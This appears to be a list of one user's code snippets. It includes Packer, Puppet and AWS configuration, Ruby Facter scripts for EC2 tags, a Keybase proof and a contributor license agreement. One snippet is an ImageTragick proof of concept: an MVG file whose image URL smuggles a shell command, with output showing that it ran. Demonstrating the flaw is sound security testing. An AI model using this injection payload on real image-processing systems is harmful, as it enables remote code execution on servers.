tmclaugh

  "builders":
  [
    {
      "type"                 : "virtualbox-iso",
      "boot_command":
      [
        "<esc>",
        " linux ks=http://{{ .HTTPIP }}:{{ .HTTPPort }}/ks/centos65.ks",
        "<enter>",

tmclaugh

  "provisioners":
  [
    {
      "type"             : "shell",
      "environment_vars" :
      [
	"os_name=CentOS",
        "os_version=6.5"
      ],

tmclaugh

  "post-processors":
  [
    {
      "type"   : "vagrant",
      "output" : "centos65.box"
    }
  ]
  

tmclaugh

/etc/puppet/csr_attributes.yaml:
---
extension_requests:
    pp_preshared_key: PUPPET_PSK


Puppet output:
Info: Creating a new SSL key for puppet.hubspot.local
Info: Caching certificate for ca
Info: csr_attributes file loading from /etc/puppet/csr_attributes.yaml

tmclaugh

require 'facter'
require 'aws-sdk'

if Facter.value("ec2_instance_id") != nil
   instance_id = Facter.value("ec2_instance_id")
   region = Facter.value("ec2_placement_availability_zone")[0..-2]
   ec2 = Aws::EC2::Client.new(region:region)
   instance = ec2.describe_instances(instance_ids:[instance_id])
   tags = instance.reservations[0].instances[0].tags
   tags.each do |tag|

tmclaugh

require 'facter'
require 'json'
 
if Facter.value("ec2_instance_id") != nil
 instance_id = Facter.value("ec2_instance_id")
 region = Facter.value("ec2_placement_availability_zone")[0..-2]
 tags = Facter::Util::Resolution.exec("aws ec2 describe-tags --region #{region} --filters \"Name=resource-id,Values=#{instance_id}\" --query 'Tags[*].{value:Value,key:Key}'")
 
 parsed_tags = JSON.parse(tags)
 parsed_tags.each do |tag|

tmclaugh

## ImageTragick with HTTPS URL results in code execution
vagrant@default-ubuntu-1404:~$ cat image-https.mvg
push graphic-context
viewbox 0 0 1 1 image over 0,0 0,0 'https://www.imagemagick.org"; echo CODE EXECUTION"'
pop graphic-context

vagrant@default-ubuntu-1404:~$ convert image-https.mvg image-https.png
CODE EXECUTION
convert.im6: unable to open image `/tmp/magick-M70rA2Ky': No such file or directory @ error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-M70rA2Ky': No such file or directory @ error/constitute.c/ReadImage/583.

tmclaugh

Keybase proof

I hereby claim:

• I am tmclaugh on github.
• I am tmclaugh (https://keybase.io/tmclaugh) on keybase.
• I have a public key ASCtS7R9AqFYgumKTe_dcc83-C9b8sZr50OYRnGtkbKx0wo

To claim this, I am signing this object:

tmclaugh

    vpc:
      Type: AWS::EC2::VPC
      Properties:
        CidrBlock: "10.0.0.0/16"
        EnableDnsSupport: false
        EnableDnsHostnames: false
        Tags:
          - Key: Name
            Value: ${self:service}-${self:provider.stage}
    # This doesn't work for all regions but handles the vast majority. I hope

tmclaugh

CloudZero Individual Contributor License Agreement

In order to clarify the intellectual property license granted with Contributions from any person or entity, CloudZero Inc. ("CloudZero") must have a Contributor License Agreement ("CLA") on file that has been signed by each Contributor, indicating agreement to the license terms below. This license is for your protection as a Contributor as well as the protection of CloudZero; it does not change your rights to use your own Contributions for any other purpose.

You accept and agree to the following terms and conditions for Your present and future Contributions submitted to CloudZero. Except for the license granted herein to CloudZero and recipients of software distributed by CloudZero, You reserve all right, title, and interest in and to Your Contributions.

1. Definitions. "You" (or "Your") shall mean the copyright owner or legal entity authorized by the copyright owner that is making this Agreement with CloudZero. For legal entities, the entity making a Cont